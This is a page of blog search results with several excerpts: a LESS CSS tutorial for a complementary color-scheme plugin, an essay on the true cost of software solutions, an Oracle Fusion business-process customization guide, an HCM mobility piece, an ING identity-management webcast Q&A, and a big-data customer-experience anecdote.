Search Results

Search found 787 results on 32 pages for 'augmented reality'.

Page 29/32 | < Previous Page | 25 26 27 28 29 30 31 32  | Next Page >

• Who could ask for more with LESS CSS? (Part 3 of 3&ndash;Clrizr)

  - by ToString(theory);

  Welcome back!  In the first two posts in this series, I covered some of the awesome features in CSS precompilers such as SASS and LESS, as well as how to get an initial project setup up and running in ASP.Net MVC 4. In this post, I will cover an actual advanced example of using LESS in a project, and show some of the great productivity features we gain from its usage. Introduction In the first post, I mentioned two subjects that I will be using in this example – constants, and color functions.  I’ve always enjoyed using online color scheme utilities such as Adobe Kuler or Color Scheme Designer to come up with a scheme based off of one primary color.  Using these tools, and requesting a complementary scheme you can get a couple of shades of your primary color, and a couple of shades of a complementary/accent color to display. Because there is no way in regular css to do color operations or store variables, there was no way to accomplish something like defining a primary color, and have a site theme cascade off of that.  However with tools such as LESS, that impossibility becomes a reality!  So, if you haven’t guessed it by now, this post is on the creation of a plugin/module/less file to drop into your project, plugin one color, and have your primary theme cascade from it.  I only went through the trouble of creating a module for getting Complementary colors.  However, it wouldn’t be too much trouble to go through other options such as Triad or Monochromatic to get a module that you could use off of that. Step 1 – Analysis I decided to mimic Adobe Kuler’s Complementary theme algorithm as I liked its simplicity and aesthetics.  Color Scheme Designer is great, but I do believe it can give you too many color options, which can lead to chaos and overload.  The first thing I had to check was if the complementary values for the color schemes were actually hues rotated by 180 degrees at all times – they aren’t.  Apparently Adobe applies some variance to the complementary colors to get colors that are actually more aesthetically appealing to users.  So, I opened up Excel and began to plot complementary hues based on rotation in increments of 10: Long story short, I completed the same calculations for Hue, Saturation, and Lightness.  For Hue, I only had to record the Complementary hue values, however for saturation and lightness, I had to record the values for ALL of the shades.  Since the functions were too complicated to put into LESS since they aren’t constant/linear, but rather interval functions, I instead opted to extrapolate the HSL values using the trendline function for each major interval, onto intervals of spacing 1. For example, using the hue extraction, I got the following values: Interval Function 0-60 60-140 140-270 270-360 Saturation and Lightness were much worse, but in the end, I finally had functions for all of the intervals, and then went the route of just grabbing each shades value in intervals of 1.  Step 2 – Mapping I declared variable names for each of these sections as something that shouldn’t ever conflict with a variable someone would define in their own file.  After I had each of the values, I extracted the values and put them into files of their own for hue variables, saturation variables, and lightness variables…  Example: /*HUE CONVERSIONS*/@clrizr-hue-source-0deg: 133.43;@clrizr-hue-source-1deg: 135.601;@clrizr-hue-source-2deg: 137.772;@clrizr-hue-source-3deg: 139.943;@clrizr-hue-source-4deg: 142.114;.../*SATURATION CONVERSIONS*/@clrizr-saturation-s2SV0px: 0;@clrizr-saturation-s2SV1px: 0;@clrizr-saturation-s2SV2px: 0;@clrizr-saturation-s2SV3px: 0;@clrizr-saturation-s2SV4px: 0;.../*LIGHTNESS CONVERSIONS*/@clrizr-lightness-s2LV0px: 30;@clrizr-lightness-s2LV1px: 31;@clrizr-lightness-s2LV2px: 32;@clrizr-lightness-s2LV3px: 33;@clrizr-lightness-s2LV4px: 34;...   In the end, I have 973 lines of mapping/conversion from source HSL to shade HSL for two extra primary shades, and two complementary shades. The last bit of the work was the file to compose each of the shades from these mappings. Step 3 – Clrizr Mapper The final step was the hardest to overcome as I was still trying to understand LESS to its fullest extent.  Imports As mentioned previously, I had separated the HSL mappings into different files, so the first necessary step is to import those for use into the Clrizr plugin: @import url("hue.less");@import url("saturation.less");@import url("lightness.less"); Extract Component Values For Each Shade Next, I extracted the necessary information for each shade HSL before shade composition: @clrizr-input-saturation: 1px+floor(saturation(@clrizr-input))-1;@clrizr-input-lightness: 1px+floor(lightness(@clrizr-input))-1; @clrizr-complementary-hue: formatstring("clrizr-hue-source-{0}", ceil(hue(@clrizr-input))); @clrizr-primary-2-saturation: formatstring("clrizr-saturation-s2SV{0}",@clrizr-input-saturation);@clrizr-primary-1-saturation: formatstring("clrizr-saturation-s1SV{0}",@clrizr-input-saturation);@clrizr-complementary-1-saturation: formatstring("clrizr-saturation-c1SV{0}",@clrizr-input-saturation); @clrizr-primary-2-lightness: formatstring("clrizr-lightness-s2LV{0}",@clrizr-input-lightness);@clrizr-primary-1-lightness: formatstring("clrizr-lightness-s1LV{0}",@clrizr-input-lightness);@clrizr-complementary-1-lightness: formatstring("clrizr-lightness-c1LV{0}",@clrizr-input-lightness); Here, you can see a couple of odd things…  On the first line, I am using operations to add units to the saturation and lightness.  This is due to some limitations in the operations that would give me saturation or lightness in %, which can’t be in a variable name.  So, I use first add 1px to it, which casts the result of the following functions as px instead of %, and then at the end, I remove that pixel.  You can also see here the formatstring method which is exactly what it sounds like – something like String.Format(string str, params object[] obj). Get Primary & Complementary Shades Now that I have components for each of the different shades, I can now compose them into each of their pieces.  For this, I use the @@ operator which will look for a variable with the name specified in a string, and then call that variable: @clrizr-primary-2: hsl(hue(@clrizr-input), @@clrizr-primary-2-saturation, @@clrizr-primary-2-lightness);@clrizr-primary-1: hsl(hue(@clrizr-input), @@clrizr-primary-1-saturation, @@clrizr-primary-1-lightness);@clrizr-primary: @clrizr-input;@clrizr-complementary-1: hsl(@@clrizr-complementary-hue, @@clrizr-complementary-1-saturation, @@clrizr-complementary-1-lightness);@clrizr-complementary-2: hsl(@@clrizr-complementary-hue, saturation(@clrizr-input), lightness(@clrizr-input)); That’s is it, for the most part.  These variables now hold the theme for the one input color – @clrizr-input.  However, I have one last addition… Perceptive Luminance Well, after I got the colors, I decided I wanted to also get the best font color that would go on top of it.  Black or white depending on light or dark color.  Now I couldn’t just go with checking the lightness, as that is half the story.  You see, the human eye doesn’t see ALL colors equally well but rather has more cells for interpreting green light compared to blue or red.  So, using the ratio, we can calculate the perceptive luminance of each of the shades, and get the font color that best matches it! @clrizr-perceptive-luminance-ps2: round(1 - ( (0.299 * red(@clrizr-primary-2) ) + ( 0.587 * green(@clrizr-primary-2) ) + (0.114 * blue(@clrizr-primary-2)))/255)*255;@clrizr-perceptive-luminance-ps1: round(1 - ( (0.299 * red(@clrizr-primary-1) ) + ( 0.587 * green(@clrizr-primary-1) ) + (0.114 * blue(@clrizr-primary-1)))/255)*255;@clrizr-perceptive-luminance-ps: round(1 - ( (0.299 * red(@clrizr-primary) ) + ( 0.587 * green(@clrizr-primary) ) + (0.114 * blue(@clrizr-primary)))/255)*255;@clrizr-perceptive-luminance-pc1: round(1 - ( (0.299 * red(@clrizr-complementary-1)) + ( 0.587 * green(@clrizr-complementary-1)) + (0.114 * blue(@clrizr-complementary-1)))/255)*255;@clrizr-perceptive-luminance-pc2: round(1 - ( (0.299 * red(@clrizr-complementary-2)) + ( 0.587 * green(@clrizr-complementary-2)) + (0.114 * blue(@clrizr-complementary-2)))/255)*255; @clrizr-col-font-on-primary-2: rgb(@clrizr-perceptive-luminance-ps2, @clrizr-perceptive-luminance-ps2, @clrizr-perceptive-luminance-ps2);@clrizr-col-font-on-primary-1: rgb(@clrizr-perceptive-luminance-ps1, @clrizr-perceptive-luminance-ps1, @clrizr-perceptive-luminance-ps1);@clrizr-col-font-on-primary: rgb(@clrizr-perceptive-luminance-ps, @clrizr-perceptive-luminance-ps, @clrizr-perceptive-luminance-ps);@clrizr-col-font-on-complementary-1: rgb(@clrizr-perceptive-luminance-pc1, @clrizr-perceptive-luminance-pc1, @clrizr-perceptive-luminance-pc1);@clrizr-col-font-on-complementary-2: rgb(@clrizr-perceptive-luminance-pc2, @clrizr-perceptive-luminance-pc2, @clrizr-perceptive-luminance-pc2); Conclusion That’s it!  I have posted a project on clrizr.codePlex.com for this, and included a testing page for you to test out how it works.  Feel free to use it in your own project, and if you have any questions, comments or suggestions, please feel free to leave them here as a comment, or on the contact page!

  Read the article

• The True Cost of a Solution

  - by D'Arcy Lussier

  I had a Twitter chat recently with someone suggesting Oracle and SQL Server were losing out to OSS (Open Source Software) in the enterprise due to their issues with scaling or being too generic (one size fits all). I challenged that a bit, as my experience with enterprise sized clients has been different – adverse to OSS but receptive to an established vendor. The response I got was: Found it easier to influence change by showing how X can’t solve our problems or X is extremely costly to scale. Money talks. I think this is definitely the right approach for anyone pitching an alternate or alien technology as part of a solution: identify the issue, identify the solution, then present pros and cons including a cost/benefit analysis. What can happen though is we get tunnel vision and don’t present a full view of the costs associated with a solution. An “Acura”te Example (I’m so clever…) This is my dream vehicle, a Crystal Black Pearl coloured Acura MDX with the SH-AWD package! We’re a family of 4 (5 if my daughters ever get their wish of adding a dog), and I’ve always wanted a luxury type of vehicle, so this is a perfect replacement in a few years when our Rav 4 has hit the 8 – 10 year mark. MSRP – $62,890 But as we all know, that’s not *really* the cost of the vehicle. There’s taxes and fees added on, there’s the extended warranty if I choose to purchase it, there’s the finance rate that needs to be factored in… MSRP –   $62,890 Taxes –      $7,546 Warranty - $2,500 SubTotal – $72,936 Finance Charge – $ 1094.04 Grand Total – $74,030 Well! Glad we did that exercise – we discovered an extra $11k added on to the MSRP! Well now we have our true price…or do we? Lifetime of the Vehicle I’m expecting to have this vehicle for 7 – 10 years. While the hard cost of the vehicle is known and dealt with, the costs to run and maintain the vehicle are on top of this. I did some research, and here’s what I’ve found: Fuel and Mileage Gas prices are high as it is for regular fuel, but getting into an MDX will require that I *only* purchase premium fuel, which comes at a premium price. I need to expect my bill at the pump to be higher. Comparing the MDX to my 2007 Rav4 also shows I’ll be gassing up more often. The Rav4 has a city MPG of 21, while the MDX plummets to 16! The MDX does have a bigger fuel tank though, so all in all the number of times I hit the pumps might even out. Still, I estimate I’ll be spending approximately $8000 – $10000 more on gas over a 10 year period than my current Rav4. Service Options Limited Although I have options with my Toyota here in Winnipeg (we have 4 Toyota dealerships), I do go to my original dealer for any service work. Still, I like the fact that I have options. However, there’s only one Acura dealership in all of Winnipeg! So if, for whatever reason, I’m not satisfied with the level of service I’m stuck. Non Warranty Service Work Also let’s not forget that there’s a bulk of work required every year that is *not* covered under warranty – oil changes, tire rotations, brake pads, etc. I expect I’ll need to get new tires at the 5 years mark as well, which can easily be $1200 – $1500 (I just paid $1000 for new tires for the Rav4 and we’re at the 5 year mark). Now these aren’t going to be *new* costs that I’m not used to from our existing vehicles, but they should still be factored in. I’d budget $500/year, or $5000 over the 10 years I’ll own the vehicle. Final Assessment So let’s re-assess the true cost of my dream MDX: MSRP                    $62,890 Taxes                       $7,546 Warranty                 $2,500 Finance Charge         $1094 Gas                        $10,000 Service Work            $5000 Grand Total           $89,030 So now I have a better idea of 10 year cost overall, and I’ve identified some concerns with local service availability. And there’s now much more to consider over the original $62,890 price tag. Tying This Back to Technology Solutions The process that we just went through is no different than what organizations do when considering implementing a new system, technology, or technology based solution, within their environments. It’s easy to tout the short term cost savings of particular product/platform/technology in a vacuum. But its when you consider the wider impact that the true cost comes into play. Let’s create a scenario: A company is not happy with its current data reporting suite. An employee suggests moving to an open source solution. The selling points are: - Because its open source its free - The organization would have access to the source code so they could alter it however they wished - It provided features not available with the current reporting suite At first this sounds great to the management and executive, but then they start asking some questions and uncover more information: - The OSS product is built on a technology not used anywhere within the organization - There are no vendors offering product support for the OSS product - The OSS product requires a specific server platform to operate on, one that’s not standard in the organization All of a sudden, the true cost of implementing this solution is starting to become clearer. The company might save money on licensing costs, but their training costs would increase significantly – developers would need to learn how to develop in the technology the OSS solution was built on, IT staff must learn how to set up and maintain a new server platform within their existing infrastructure, and if a problem was found there was no vendor to contact for support. The true cost of implementing a “free” OSS solution is actually spinning up a project to implement it within the organization – no small cost. And that’s just the short-term cost. Now the organization must ensure they maintain trained staff who can make changes to the OSS reporting solution and IT staff that will stay knowledgeable in the new server platform. If those skills are very niche, then higher labour costs could be incurred if those people are hard to find or if trained employees use that knowledge as leverage for higher pay. Maybe a vendor exists that will contract out support, but then there are those costs to consider as well. And let’s not forget end-user training – in our example, anyone that runs reports will need to be trained on how to use the new system. Here’s the Point We still tend to look at software in an “off the shelf” kind of way. It’s very easy to say “oh, this product is better than vendor x’s product – and its free because its OSS!” but the reality is that implementing any new technology within an organization has a cost regardless of the retail price of the product. Training, integration, support – these are real costs that impact an organization and span multiple departments. Whether you’re pitching an improved business process, a new system, or a new technology, you need to consider the bigger picture costs of implementation. What you define as success (in our example, having better reporting functionality) might not be what others define as success if implementing your solution causes them issues. A true enterprise solution needs to consider the entire enterprise.

  Read the article

• Getting Started With Tailoring Business Processes

  - by Richard Bingham

  In this article, and for the sake of simplicity, we will use the term “On-Premise” to mean a deployment where you have design-time development access to the instance, including administration of the technology components, the applications filesystem, and the database. In reality this might be a local development instance that is then supported by a team who can deploy your customizations to the restricted production instance equivalents. Tools Overview Firstly let’s look at the Design-Time tools within JDeveloper for customizing and extending the artifacts of a Business Process. In essence this falls into two buckets; SOA Composite Editor for working with BPEL processes, and the BPM Studio. The SOA Composite Editor As a standard extension to JDeveloper, this graphical design tool should be familiar to anyone previously worked with Oracle SOA Server. With easy-to-use modeling capability, backed-up by full XML source-view (for read-only), it provides everything that is needed to implement the technical design. In simple terms, once deployed to the remote SOA Server the composite components (like Mediator) leverage the Event Delivery Network (EDN) for interaction with the application logic. If you are customizing an existing Fusion Applications BPEL process then be aware that it does support MDS-based customization layers just like Page Composer where different customizations are used based on the run-time context, like for a specific Product or Business Unit. This also makes them safe from patching and upgrades, although only a single active version of the composite is available at run-time. This is defined by a field on the composite record, available in Enterprise Manager. Obviously if you wish to fire different activities and tasks based on the user context then you can should include switches to fork the flows in your custom BPEL process. Figure 1 – A BPEL process in Composite Editor The following describes the simplified steps for making customizations to BPEL processes. This is the most common method of changing the business processes of Fusion Applications, as over 400 BPEL-based composite applications are provided out-of-the-box. Setup your local Fusion Applications JDeveloper environment. The SOA Composite Editor should be installed as part of the Fusion Applications extension. If there are problems you can also find it under the ‘Check for Updates’ help menu option. Since SOA Server is not part of the JDeveloper integrated WebLogic Server, setup a standalone WebLogic environment for deploying and testing. Obviously you might use a Fusion Applications development instance also. Package the existing standard Fusion Applications SOA Composite using Enterprise Manager and export it as a complete SOA Archive (SAR) file, resulting in a local .jar file. You may need to ask your system administrator for this. Import the exported SAR .jar file into JDeveloper using the File menu, under the option ‘SOA Archive into SOA Project’. In JDeveloper set the appropriate customization layer values, and then change from the default role to the Fusion Applications Customization Developer role. Make the customizations and save the application project. Finally redeploy the composite application, either to a direct Application Server connection, or as a fresh SAR (jar) file that can then be re-imported and deployed via Enterprise Manager. The Business Process Management (BPM) Suite In addition to the relatively low-level development environment associated with BPEL process creation, Oracle provides a suite of products that allow business process adjustments to be made without the need for some of the programming skills.  The aim is to abstract much of the technical implementation and to provide a Business Analyst tools for immediately implementing organization changes. Obviously there are some limitations on what they can do, however the BPM Suite functionality increases with each release and for the majority of the cases the tools remains as applicable as its developer-orientated sister. At the current time business processes must be explicitly coded to support just one of these use-cases, either BPEL for developer use or BPM for business analyst use. That said, they both run on the same SOA Server in much the same way. The components bundled in each SOA Composite Application can be verified by inspection through Enterprise Manager. Figure 2 – A BPM Process in JDeveloper BPM Suite. BPM processes are written in a standard notation (BPMN) and the modeling tools are very similar to that of BPEL. The steps to deploy a custom BPM process are also essentially much the same, since the BPM process is bundled into a SOA Composite just like a BPEL process. As such the SOA Composite Editor  actually has support for both artifacts and even allows use of them together, such as a calling a BPM process as a partnerlink from a BPEL process. For more details see the references below. Business Analyst Tooling In addition to using JDeveloper extensions for BPM development, there are run-time tools that Business Analysts can use to make adjustments, so that without high costs of an IT project the system can be tuned to match changes to the business operation. The first tool to consider is the BPM Composer, deployed with the middleware SOA Server and accessible online, and for Fusion Applications it is under the Business Process icon on the homepage of the Application Composer. Figure 3 – Business Process Composer showing a CRM process flow. The key difference between this and using JDeveloper is that the BPM Composer has a Business Catalog prepopulated with features and functions that can be used, mostly through registered WebServices. This means no coding or complex interface development is required, simply drag-drop-configure. The items in the business catalog are seeded by either Oracle (as a BPM Template) or added to by your own custom development. You cannot create or generate catalog content from BPM Composer directly. As per the screenshot you can see the Business Catalog content in the BPM Project browser region. In addition, other online tools for use by Business Analysts include the BPM Worklist application for editing business rules and approval management configuration, plus the SOA Composer which focuses on non-approval business rules and domain value maps. At the current time there are only a handful of BPM processes shipped with Fusion Applications HCM and CRM, including on-boarding workers and processing customer registrations.  This also means a limited number of associated BPM Templates provided out-of-the-box, therefore a limited Business Catalog. That said, BPM-based extension is a powerful capability to leverage and will most likely develop going forwards, especially for use in SaaS deployments where full design-time JDeveloper access is not available. Further Reading For BPEL – Fusion Applications Extensibility Guide – Section 12 For BPM – Fusion Applications Extensibility Guide – Section 7 The product-specific documentation and implementation guides for Fusion Applications Fusion Middleware Developers Guide for SOA Suite Modeling and Implementation Guide for Oracle Business Process Management User’s Guide for Oracle Business Process Composer Oracle University courses on BPM Suite and SOA Development

  Read the article

• Simplifying Human Capital Management with Mobile Applications

  - by HCM-Oracle

  By Aaron Green If you're starting to think 'mobility' is a recurring theme in your reading, you'd be right. For those who haven't started to build organisational capabilities to leverage it, it's fair to say you're late to the party. The good news: better late than never. Research firm eMarketer says the worldwide smartphone audience will total 1.75 billion this year, while communications technology and services provider Ericsson suggests smartphones will triple to 5.6 billion globally by 2019. It should be no surprise, smart phone adoption is reaching the farthest corners of the globe; the subsequent impact of enterprise applications enabled by these devices is driving business performance improvement and will continue to do so. Companies using advanced workforce analytics can add significantly to the bottom line, while impacting customer satisfaction, quality and productivity. It's a statement that makes most business leaders sit forward in their chairs. Achieving these three standards is like sipping The Golden Elixir for the business world. No-one would argue their importance. So what are 'advanced workforce analytics?' Simply, they're unprecedented access to workforce trends and performance markers. Many are made possible by a mobile world and the enterprise applications that come with it on smart devices. Some refer to it as 'the consumerisation of IT'. As this phenomenon has matured and become more widely appreciated it has impacted the spectrum of functional units within an enterprise differently, but powerfully. Whether it's sales, HR, marketing, IT, or operations, all have benefited from a more mobile approach. It has been the catalyst for improvement in, and management of, the employee experience. The net result of which is happier customers. The obvious benefits but the lesser realised impact Most people understand that mobility allows for greater efficiency and productivity, collaboration and flexibility, but how that translates into business outcomes within the various functional groups is lesser known. In actuality mobility has helped galvanise partnerships between cross-functional groups within the enterprise. Where in some quarters it was once feared mobility could fragment a workforce, its rallying cry of support is coming from what you might describe as an unlikely source - HR. As the bedrock of an enterprise, it is conceivable HR might contemplate the possible negative impact of a mobile workforce that no-longer sits in an office, at the same desks every day. After all, who would know what they were doing or saying? How would they collaborate? It's reasonable to see why HR might have a legitimate claim to try and retain as much 'perceived control' as possible. The reality however is mobility has emancipated human capital and its management. Mobility and enterprise applications are expediting decision making. Google calls it Zero Moment of Truth, or ZMOT. It enables smoother operation and can contribute to faster growth. From a collaborative perspective, with the growing use of enterprise social media, which in many cases is being driven by HR, workforce planning and the tangible impact of change is much easier to map. This in turn provides a platform from which individuals and teams can thrive. With more agility and ability to anticipate, staff satisfaction and retention is higher, and real time feedback constant. The management team can save time, energy and costs with more accurate data, which is then intelligently applied across the workforce to truly engage with staff, customers and partners. From a human capital management (HCM) perspective, mobility can help you close the loop on true talent management. It can enhance what managers can offer and what employees can provide in return. It can create nested relationships and powerful partnerships. IT and HR - partners and stewards of mobility One effect of enterprise mobility is an evolution in the nature of the relationship between HR and IT from one of service provision to partnership. The reason for the dynamic shift is largely due to the 'bring your own device' (BYOD) movement, which is transitioning to a 'bring your own application' (BYOA) scenario. As enterprise technology has in some ways reverse-engineered its solutions to help manage this situation, the partnership between IT (the functional owner) and HR (the strategic enabler) is deeply entrenched. And it has to be. The CIO and the HR leader are faced with compliance and regulatory issues and concerns around information security and personal privacy on a daily basis, complicated by global reach and varied domestic legislation. There are tens of thousands of new mobile apps entering the market each month and, unlike many consumer applications which get downloaded but are often never opened again after initial perusal, enterprise applications are being relied upon by functional groups, not least by HR to enhance people management. It requires a systematic approach across all applications in use within the enterprise in order to ensure they're used to best effect. No turning back, and no desire to With real time analytics on performance and the ability for immediate feedback, there is no turning back for managers. In my experience with Oracle, our customers' operational efficiency is at record levels. It's clear as a result of the combination of individual KPIs and organisational goals, CIOs have been able to give HR leaders the ability to build predictive models that feed into an enterprise organisations' evolving strategy. It also helps them ensure regulatory compliance much more easily. Once an arduous task, with mobile enabled automation and quality data, compliance is simpler. Their world has changed for the better. For the CIO, mobility also assists them to optimise performance. While it doesn't come without challenges, mobile-enabled applications and the native experience users have with them means employees don't need high-level technical expertise to train users. It reduces the training and engagement required from the IT team so they can focus on other things that deliver value to the bottom line; all the while lowering the cost of assets and related maintenance work by simplifying processes. Rewards of a mobile enterprise outweigh risks With mobile tools allowing us to increasingly integrate our personal and professional lives, terms like "office hours" are becoming irrelevant, so work/life balance is a cultural must. Enterprises are expected to offer tools that enable workers to access information from anywhere, at any time, from any device. Employees want simplicity and convenience but it doesn't stop at private enterprise. This is a societal shift. Governments, which traditionally have been known to be slower to adopt newer technology, are also offering support for local businesses to go mobile. Several state government websites have advice on how to create mobile apps and more. And as recently as last week the Victorian Minister for Technology Gordon Rich-Phillips unveiled his State government's ICT roadmap for the next two years, which details an increased use of the public cloud, as well as mobile communications, and improved access to online data-sets. Tech giants are investing significantly in solutions designed to simplify mobile deployment and enablement. The mobility trend is creating a wave of change in the industry and driving transformation in the enterprise. If you're not on that wave, the business risk continues to rise as your competitiveness drops. Aaron is the Vice President of HCM Strategy at Oracle Corporation where he is responsible for researching and identifying emerging trends in the practice of Human Resources and works to deliver industry-leading technology solutions. Other responsibilities include, ownership of Oracle's innovative HCM solutions across JAPAC and enabling organisations to transform and modernise their workforce tools. Follow him on Twitter @aaronjgreen

  Read the article

• Webcast Q&A: ING on How to Scale Role Management and Compliance

  - by Tanu Sood

  Thanks to all who attended the live webcast we hosted on ING: Scaling Role Management and Access Certifications to Thousands of Applications on Wed, April 11th. Those of you who couldn’t join us, the webcast replay is now available. Many thanks to our guest speaker, Mark Robison, Enterprise Architect at ING for walking us through ING’s drivers and rationale for the platform approach, the phased implementation strategy, results & metrics, roadmap and recommendations. We greatly appreciate the insight he shared with us all on the deployment synergies between Oracle Identity Manager (OIM) and Oracle Identity Analytics (OIA) to enforce streamlined user and role management and scalable compliance. Mark was also kind enough to walk us through specific solutions features that helped ING manage the problem of role explosion and implement closed loop remediation. Our host speaker, Neil Gandhi, Principal Product Manager, Oracle rounded off the presentation by discussing common use cases and deployment scenarios we see organizations implement to automate user/identity administration and enforce closed-loop scalable compliance. Neil also called out the specific features in Oracle Identity Analytics 11gR1 that cater to expediting and streamlining compliance processes such as access certifications. While we tackled a few questions during the webcast, we have captured the responses to those that we weren’t able to get to here; our sincere thanks to Mark Robison for taking the time to respond to questions specific to ING’s implementation and strategy. Q. Did you include business friendly entitlment descriptions, or is the business seeing application descriptors A. We include very business friendly descriptions.  The OIA tool has the facility to allow this. Q. When doing attestation on job change, who is in the workflow to review and confirm that the employee should continue to have access? Is that a best practice?   A. The new and old manager  are in the workflow.  The tool can check for any Separation of Duties (SOD) violations with both having similiar accesses.  It may not be a best practice, but it is a reality of doing your old and new job for a transition period on a transfer. Q. What versions of OIM and OIA are being used at ING?   A. OIM 11gR1 and OIA 11gR1; the very latest versions available. Q. Are you using an entitlements / role catalog?   A. Yes. We use both roles and entitlements. Q. What specific unexpected benefits did the Identity Warehouse provide ING?   A. The most unanticipated was to help Legal Hold identify user ID's in the various applications.   Other benefits included providing a one stop shop for all aggregated ID information. Q. How fine grained are your application and entitlements? Did OIA, OIM support that level of granularity?   A. We have some very fine grained entitlements, but we role this up into approved Roles to allow for easier management.   For managing very fine grained entitlements, Oracle offers the Oracle Entitlement Server.  We currently do not own this software but are considering it. Q. Do you allow any individual access or is everything truly role based?   A. We are a hybrid environment with roles and individual positive and negative entitlements Q. Did you use an Agile methodology like scrum to deliver functionality during your project? A. We started with waterfall, but used an agile approach to provide benefits after the initial implementation Q. How did you handle rolling out the standard ID format to existing users? A. We just used the standard IDs for new users.  We have not taken on a project to address the existing nonstandard IDs. Q. To avoid role explosion, how do you deal with apps that require more than a couple of entitlement TYPES? For example, an app may have different levels of access and it may need to know the user's country/state to associate them with particular customers.   A. We focus on the functional user and craft the role around their daily job requirements.  The role captures the required application entitlements.  To keep role explosion down, we use role mining in OIA and also meet and interview the business.  It is an iterative process to get role consensus. Q. Great presentation! How many rounds of Certifications has ING performed so far?  A. Around 7 quarters and constant certifications on transfer. Q. Did you have executive support from the top down   A. Yes  The executive support was key to our success. Q. For your cloud instance are you using OIA or OIM as SaaS?  A. No.  We are just provisioning and deprovisioning to various Cloud providers.  (Service Now is an example) Q. How do you ensure a role owner does not get more priviliges as are intended and thus violates another role, e,g, a DBA Roles should not get tor rigt to run somethings as root, as this would affect the root role? A. We have SOD  checks.  Also all Roles are initially approved by external audit and the role owners have to certify the roles and any changes Q. What is your ratio of employees to roles?   A. We are still in process going through our various lines of business, so I do not have a final ratio.  From what we have seen, the ratio varies greatly depending on the Line of Business and the diversity of Job Functions.  For standardized lines of business such as call centers, the ratio is very good where we can have a single role that covers many employees.  For specialized lines of business like treasury, it can be one or two people per role. Q. Is ING using Oracle On Demand service ?   A. No Q. Do you have to implement or migrate to OIM in order to get the Identity Warehouse, or can OIA provide the identity warehouse as well if you haven't reached OIM yet? A. No, OIM deployment is not required to implement OIA’s Identity Warehouse but as you heard during the webcast, there are tremendous deployment synergies in deploying both OIA and OIM together. Q. When is the Security Governor product coming out? A. Oracle Security Governor for Healthcare is available today. Hope you enjoyed the webcast and we look forward to having you join us for the next webcast in the Customers Talk: Identity as a Platform webcast series: Toyota: Putting Customers First – Identity Platform as a Business Enabler Wednesday, May 16th at 10 am PST/ 1 pm EST Register Today You can also register for a live event at a city near you where Aberdeen’s Derek Brink will discuss the survey results from the recently published report “Analyzing Platform vs. Point Solution Approach in Identity”. And, you can do a quick (& free)  online assessment of your identity programs by benchmarking it against the 160 organizations surveyed  in the Aberdeen report, compliments of Oracle. Here’s the slide deck from our ING webcast: ING webcast platform View more presentations from OracleIDM

  Read the article

• Big data: An evening in the life of an actual buyer

  - by Jean-Pierre Dijcks

  Here I am, and this is an actual story of one of my evenings, trying to spend money with a company and ultimately failing. I just gave up and bought a service from another vendor, not the incumbent. Here is that story and how I think big data could actually fix this (and potentially prevent some of this from happening). In the end this story should illustrate how big data can benefit me (get me what I want without causing grief) and the company I am trying to buy something from. Note: Lots of details left out, I have no intention of being the annoyed blogger moaning about a specific company. What did I want to get? We watch TV, we have internet and we do have a land line. The land line is from a different vendor then the TV and the internet. I have decided that this makes no sense and I was going to get a bundle (no need to infer who this is, I just picked the generic bundle word as this is what I want to get) of all three services as this seems to save me money. I also want to not talk to people, I just want to click on a website when I feel like it and get it all sorted. I do think that is reality. I want to just do my shopping at 9.30pm while watching silly reruns on TV. Problem 1 - Bad links So, I'm an existing customer of the company I want to buy my bundle from. I go to the website, I click on offers. Turns out they are offers for new customers. After grumbling about how good they are, I click on offers for existing customers. Bummer, it goes to offers for new customers, so I click again on the link for offers for existing customers. No cigar... it just does not work. Big data solutions: 1) Do not show an existing customer the offers for new customers unless they are the same => This is only partially doable without login, but if a customer logs in the application should always know that this is an existing customer. But in general, imagine I do this from my home going through the internet service of this vendor to their domain... an instant filter should move me into the "existing customer route". 2) Flag dead or incorrect links => I've clicked the link for "existing customer offers" at least 3 times in under 5 seconds... Identifying patterns like this is easy in Hadoop and can very quickly make a list of potentially incorrect links. No need for realtime fixing, just the fact that this link can be pro-actively fixed across my entire web domain is a good thing. Preventative maintenance! Problem 2 - Purchase cannot be completed Apart from the fact that the browsing pattern to actually get to what I want is poorly designed, my purchase never gets past a specific point. In other words, I put something into my shopping cart and when I want to move on the application either crashes (with me going to an error page) or hangs or goes into something like chat. So I try again, and again and again. I think I tried this entire path (while being logged in!!) at least 10 times over the course of 20 minutes. I also clicked on the feedback button and, frustrated as I was, tried to explain this did not work... Big Data Solutions: 1) This web site does shopping cart analysis. I got an email next day stating I have things in my shopping cart, just click here to complete my purchase. After the above experience, this just added insult to my pain... 2) What should have happened, is a Hadoop job going over all logged in customers that are on the buy flow. It should flag anyone who is trying (multiple attempts from the same user to do the same thing), analyze the shopping card, the clicks to identify what the customers wants, his feedback provided (note: always own your own website feedback, never just farm this out!!) and in a short turn around time (30 minutes to 2 hours or so) email me with a link to complete my purchase. Not with a link to my shopping cart 12 hours later, but a link to actually achieve what I wanted... Why should this company go through the big data effort? I do believe this is relatively easy to do using our Oracle Event Processing and Big Data Appliance solutions combined. It is almost so simple (to my mind) that it makes no sense that this is not in place? But, now I am ranting... Why is this interesting? It is because of $$$$. After trying really hard, I mean I did this all in the evening, and again in the morning before going to work. I kept on failing, But I really wanted this to work... so an email that said, sorry, we noticed you tried to get a bundle (the log knows what I wanted, where I failed, so easy to generate), here is the link to click and complete your purchase. And here is 2 movies on us as an apology would have kept me as a customer, and got the additional $$$$ per month for the next couple of years. It would also lead to upsell on my phone package etc. Instead, I went to a completely different company, bought service from them. Lost money for company A, negative sentiment for company A and me telling this story at the water cooler so I'm influencing more people to think negatively about company A. All in all, a loss of easy money, a ding in sentiment and image where a relatively simple solution exists and can be in place on the software I describe routinely in this blog... For those who are coming to Openworld and maybe see value in solving the above, or are thinking of how to solve this, come visit us in Moscone North - Oracle Red Lounge or in the Engineered Systems Showcase.

  Read the article

• Upgrading from TFS 2010 RC to TFS 2010 RTM done

  - by Martin Hinshelwood

